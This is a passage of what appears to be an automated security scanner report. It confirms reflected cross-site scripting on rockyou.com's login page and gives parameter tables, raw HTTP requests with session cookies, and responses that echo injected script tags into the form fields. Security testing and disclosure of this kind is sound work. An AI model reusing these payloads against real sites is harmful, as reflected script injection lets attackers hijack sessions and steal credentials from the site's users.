adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="3"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:block"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="\'\"--></style></script><script>netsparker(0x000B9F)</script>"><br /><input type="hidden" name="user" id="user" value="3"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916">1916</option><option value="1915">1915</option><..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&se..

Parameters

Parameter Type Value
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
user POST '"--></style></script><script>alert(0x000BD2)</script>
mode POST login
pass POST 3

Request

POST /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164258; ctid=1; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 108
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000BD2)%3c%2fscript%3e&mode=login&pass=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:04:20 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=-1; expires=Mon, 18-Apr-2011 12:04:20 GMT; path=/; domain=.rockyou.com,lastlogin=1303164260; expires=Wed, 27-Jul-2011 22:04:20 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:04:20 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:04:20 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:04:20 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=98624 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9120
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
<script type="text/javascript" language="javascript" src="http://cdn.rockyou.com/apps/mainsite/js/ajax.js"></script><script type="text/javascript" language="javascript" src="/js/country.js?ver=1"></script><script type="text/javascript" language="javascript">function getuser(status, userEmail){ accountstatus = status; if (accountstatus > 1) //Account Exists { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display=""; setError(""); document.getElementById('loginforma').pass.focus(); } else if (accountstatus == -1) // No Account { var start = userEmail.indexOf('@')+1; var emailType = userEmail.substr(start, userEmail.indexOf('.') - start); if (emailType == 'myspace') { document.getElementById("emailforma").reset(); document.getElementById("msg").innerHTML = 'Sorry, myspace.com emails are not valid.<br>Please choose another.'; return 1; } else if (emailName = isVerifiableEmail(emailType)) { var lcArray = document.getElementsByName('emailname-container'); for (i in lcArray) { lcArray[i].innerHTML = emailName; } document.getElementById('email-container').innerHTML = userEmail; document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display=""; document.getElementById("loginform").style.display="none"; setError(''); document.getElementById("createform2a").useEmailPassword.value = emailType;// show superpets login hint } else { document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();// show superpets login hint } } else { if (status == "Invalid Email Format! (joe@somebody.com)") status = "Invalid Email Format! (joe@somebody.com)"; document.getElementById("msg").innerHTML = status; } return 1;}// Check if the new email is one that can be verified by 3rd party scripts. If so, return the name to be displayed.function isVerifiableEmail(emailType) { switch(emailType) { case 'gmail': return 'Gmail'; case 'yahoo': return 'Yahoo'; case 'aol': return 'AOL'; case 'msn': return 'MSN'; case 'hotmail': return 'Hotmail'; default: return false; }}// resetform is only called by back buttonsfunction resetform() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-back&value=mainlogin',null,null); document.getElementById("emailform").style.display=""; document.getElementById("createform").style.display="none"; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); //document.getElementById('emailforma').pass.focus();// show superpets login hint return false;}function setError(error) { document.getElementById("msg").innerHTML = error;}// checkuser is called on sending of email addressfunction checkuser(user){ ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-checkuid&value=mainlogin',null,null); if(user=="") { setError("Entry was Empty!"); return ; } var strURL="/checkuser.php"; var xmlHttpReq = false; var self = this; var userEmail = user; setError("Processing"); // Mozilla/Safari if (window.XMLHttpRequest) { self.xmlHttpReq = new XMLHttpRequest(); } // IE else if (window.ActiveXObject) { self.xmlHttpReq = new ActiveXObject("Microsoft.XMLHTTP"); } self.xmlHttpReq.open('POST', strURL, true); self.xmlHttpReq.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; Charset=utf-8"); self.xmlHttpReq.onreadystatechange = function() { if (self.xmlHttpReq.readyState == 4) { getuser(self.xmlHttpReq.responseText, userEmail); } } self.xmlHttpReq.send("user="+escape(user));}function updatepage(str){ document.getElementById("stat").innerHTML = str;}var isNN = (navigator.appName.indexOf("Netscape")!=-1);function autoTab(input,len, e) { var keyCode = (isNN) ? e.which : e.keyCode; var filter = (isNN) ? [0,8,9] : [0,8,9,16,17,18,37,38,39,40,46]; if(input.value.length >= len && !containsElement(filter,keyCode)) { input.value = input.value.slice(0, len); input.form[(getIndex(input)+1) % input.form.length].focus(); } function containsElement(arr, ele) { var found = false, index = 0; while(!found && index < arr.length) if(arr[index] == ele) found = true; else index++; return found; } function getIndex(input) { var index = -1, i = 0, found = false; while (i < input.form.length && index == -1) if (input.form[i] == input)index = i; else i++; return index; } return true;}function finishLoginNew() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new&value=mainlogin',null,null); document.getElementById('createforma').user.value = document.getElementById('emailforma').user.value;}function finishLoginNewVerified() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-new-verified&value=mainlogin',null,null); document.getElementById('createform2a').user.value = document.getElementById('emailforma').user.value;}function finishLogin() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-pass&value=mainlogin',null,null); document.getElementById('loginforma').user.value = document.getElementById('emailforma').user.value;}function use_rockyou_pass() { ajax_post_john('/events/include/ajaxtrackevent.php','name=rockyou-login-torypass&value=mainlogin',null,null); document.getElementById("emailform").style.display="none"; document.getElementById("createform").style.display=""; document.getElementById("createform2").style.display="none"; document.getElementById("loginform").style.display="none"; setError(""); document.getElementById('createforma').pass.focus();}</script><table border="0" cellpadding="0" cellspacing="0"><tr><td><img src="/images/back-uploadtop.gif" /></td></tr><tr><td background="/images/back-uploadtile.gif" style="padding-left:10px"><font class="bigorange">Login </font><font class="bigblack">or Create an Account</font><br><br><div id="emailform" style="display:none"><form name="emailforma" id="emailforma" onSubmit="checkuser(this.user.value);return false;"><span>Email address</span><input type="text" name="user" id="emailinput" value="\'\"--></style></script><script>netsparker(0x000BD2)</script>"><br /><input id="submitbutton" type="submit" value="Create / Login"></form></div><div id="createform" style="display:none"><form name="createforma" id="createforma" method="post" action="" onsubmit="finishLoginNew();">Enter password to register.<br /><span>Password</span><input type="password" name="pass" id="pass" value="3"><br /><input type="hidden" name="user" id="user" value="\'\"--></style></script><script>netsparker(0x000BD2)</script>"><input type="hidden" name="mode" value="create"><input type="hidden" name="source" value=""><input type="hidden" name="flixster" ><input type="checkbox" name="toscheck" id="toscheck" checked='checked' value="1"><span>I agree to the <a href="/tos.php" target="_blank">Terms of Service.</a></span><br /><div style="margin-top:5px;margin-bottom:5px;background-color:#d6e1fc;border:1px solid #a5bcfb;position:relative;width:305px"> <div style="padding:5px 5px 0px 5px;"> <div style="float:left;display:inline;margin-right:5px;margin-bottom:5px;">Birth Year <select name="birthyear"><option value=""></option><option value="1998">1998</option><option value="1997">1997</option><option value="1996">1996</option><option value="1995">1995</option><option value="1994">1994</option><option value="1993">1993</option><option value="1992">1992</option><option value="1991">1991</option><option value="1990">1990</option><option value="1989">1989</option><option value="1988">1988</option><option value="1987">1987</option><option value="1986">1986</option><option value="1985">1985</option><option value="1984">1984</option><option value="1983">1983</option><option value="1982">1982</option><option value="1981">1981</option><option value="1980">1980</option><option value="1979">1979</option><option value="1978">1978</option><option value="1977">1977</option><option value="1976">1976</option><option value="1975">1975</option><option value="1974">1974</option><option value="1973">1973</option><option value="1972">1972</option><option value="1971">1971</option><option value="1970">1970</option><option value="1969">1969</option><option value="1968">1968</option><option value="1967">1967</option><option value="1966">1966</option><option value="1965">1965</option><option value="1964">1964</option><option value="1963">1963</option><option value="1962">1962</option><option value="1961">1961</option><option value="1960">1960</option><option value="1959">1959</option><option value="1958">1958</option><option value="1957">1957</option><option value="1956">1956</option><option value="1955">1955</option><option value="1954">1954</option><option value="1953">1953</option><option value="1952">1952</option><option value="1951">1951</option><option value="1950">1950</option><option value="1949">1949</option><option value="1948">1948</option><option value="1947">1947</option><option value="1946">1946</option><option value="1945">1945</option><option value="1944">1944</option><option value="1943">1943</option><option value="1942">1942</option><option value="1941">1941</option><option value="1940">1940</option><option value="1939">1939</option><option value="1938">1938</option><option value="1937">1937</option><option value="1936">1936</option><option value="1935">1935</option><option value="1934">1934</option><option value="1933">1933</option><option value="1932">1932</option><option value="1931">1931</option><option value="1930">1930</option><option value="1929">1929</option><option value="1928">1928</option><option value="1927">1927</option><option value="1926">1926</option><option value="1925">1925</option><option value="1924">1924</option><option value="1923">1923</option><option value="1922">1922</option><option value="1921">1921</option><option value="1920">1920</option><option value="1919">1919</option><option value="1918">1918</option><option value="1917">1917</option><option value="1916&q..
- /login.php

/login.php CONFIRMED

http://www.rockyou.com/login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&se..

Parameters

Parameter Type Value
birthyear GET 3
country GET 0
flixster GET 3
mode GET create
pass GET 3
postalcode GET 3
sex GET 3
source GET 3
toscheck GET 1
user GET 3
pass POST 3
user POST '"--></style></script><script>alert(0x000BD3)</script>
mode POST create
source POST 3
flixster POST 3
toscheck POST 1
birthyear POST 3
sex POST 3
country POST 0
postalcode POST 3

Request

POST /login.php?birthyear=3&country=0&flixster=3&mode=create&pass=3&postalcode=3&sex=3&source=3&toscheck=1&user=3 HTTP/1.1
Referer: http://www.rockyou.com/login.php?birthyear=&country=0&flixster=&mode=create&pass=&postalcode=&sex=&source=&toscheck=1&user=
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Host: www.rockyou.com
Cookie: PHPSESSID=j1le0nb5c52v0lohlmb2bhb1l3; lang=en; lastlogin=1303164260; ctid=1; sns_type=facebook.com; istack=%7C%7C%7Cwww202.rockyou.com%7C%7C158776805%7Cwww202.rockyou.com%7C%7C158776806%7Cwww202.rockyou.com%7C%7C158776807%7Cwww202.rockyou.com%7C%7C%7Cwww202.rockyou.com; referralid=13193054; pubtype=facebook; ultype=facebook
Content-Length: 181
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

pass=3&user='%22--%3e%3c%2fstyle%3e%3c%2fscript%3e%3cscript%3enetsparker(0x000BD3)%3c%2fscript%3e&mode=create&source=3&flixster=3&toscheck=1&birthyear=3&sex=3&country=0&postalcode=3

Response

HTTP/1.1 200 OK
Date: Mon, 18 Apr 2011 22:04:21 GMT
Server: Apache/2.2
X-Powered-By: PHP/5.2.6
Set-Cookie: ryuserid=deleted; expires=Sun, 18-Apr-2010 22:04:20 GMT; path=/; domain=.rockyou.com,lastlogin=1303164261; expires=Wed, 27-Jul-2011 22:04:21 GMT; path=/; domain=.rockyou.com,sns_type=facebook.com; expires=Mon, 25-Apr-2011 22:04:21 GMT; path=/; domain=.rockyou.com,pubtype=facebook; expires=Sun, 12-Jan-2014 22:04:21 GMT; path=/; domain=.rockyou.com,ultype=facebook; expires=Sun, 12-Jan-2014 22:04:21 GMT; path=/; domain=.rockyou.com
Vary: Accept-Encoding,User-Agent
Content-Encoding:
X-RyHeader: www202.rockyou.com took D=86291 microseconds to serve this request
P3P: CP="CAO DSP COR CURa ADMa DEVa OUR IND PHY ONL UNI COM NAV INT DEM PRE"
Content-Length: 9147
Connection: close
Content-Type: text/html; charset=UTF-8


<script>
function positionAdDiv(centerDivID, adDivID, side) {
var centerDiv = document.getElementById(centerDivID);
var adDiv = document.getElementById(adDivID);
// Get absolute positioning of
var leftside = topside = 0;
var elem = centerDiv;
if (elem.offsetParent)
do {
leftside += elem.offsetLeft;
topside += elem.offsetTop;
}
while(elem = elem.offsetParent);
adDiv.style.top = topside + 'px';
// If the left side of the ad div is left of the left side of the center div, it should be on the left
if (side == 'left') adDiv.style.left = leftside - adDiv.offsetWidth +'px';
else adDiv.style.left = leftside + centerDiv.offsetWidth +'px';
}
</script>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><HTML><HEAD> <link href="/css/standard.css" rel="stylesheet" type="text/css"><script src="/js/standard.js" type="text/javascript"></script><link href="/css/simple_bling3.css" rel="stylesheet" type="text/css"><link href="/css/center_footer.css" rel="stylesheet" type="text/css"><link href="/css/style.css" rel="stylesheet" type="text/css"> <link href="/css/bling3_header.css" rel="stylesheet" type="text/css"> <TITLE>RockYou.com - Photo sharing, MySpace slideshows, MySpace codes, MySpace music</TITLE> <link rel="icon" type="image/ico" href="/favicon.ico" /> </HEAD><BODY ><div style="text-align:center"> <div class="nav-bar"></div> <div class="nav-main"> <div class="nav-spacer" style="background:none;margin-right:25px;float:right"><a href="http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-help&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com%2Fhelp">Help</a></div> <div style="clear:both; position:relative;text-align:left;"> <div style="cursor:pointer; position:absolute;" onclick="window.location='http://www.rockyou.com/events/track.php?event=rockyou-fullbling3-frontpage&value=mainlogin&url=http%3A%2F%2Fwww.rockyou.com'" class="png-logo" style='filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png");'> <img src="https://rockyou.com/contents/fullbling3_header/ry_logo28.png" class="transparent"/> </div> </div> </div> <br><div id="topDiv" style="margin:auto;width:720px;text-align:center">
<!-- Ad call for Ad call for http://rocku.adbureau.net/hserver/area=NONE/aamsz=LEADERBOARD/ -->
<script language="javascript">
if (!pageNum) var pageNum = Math.round(Math.random() * 1000000);
var aamRnd = Math.round(Math.random() * 10000000000);

document.writeln('<iframe src="http://rocku.adbureau.net/hserver/acc_random=' +
aamRnd + '/pageid=' + pageNum + '/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/" ' +

'width="728" height="90" marginwidth="0" marginheight="0" ' +
'frameborder="0" scrolling="no"></iframe>');
</script>
<noscript>
<a href="http://rocku.adbureau.net/adclick/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" target="_blank">
<img src="http://rocku.adbureau.net/nserver/area=NONE/aamsz=LEADERBOARD/AGE=/GENDER=/pageid=1" border="0" />
</a>
</noscript>
</div><br>
<table width="600" cellpadding="25" style="margin: auto; border: 1px #999999 solid; background: #DFDFDF"><tr><td align="center">
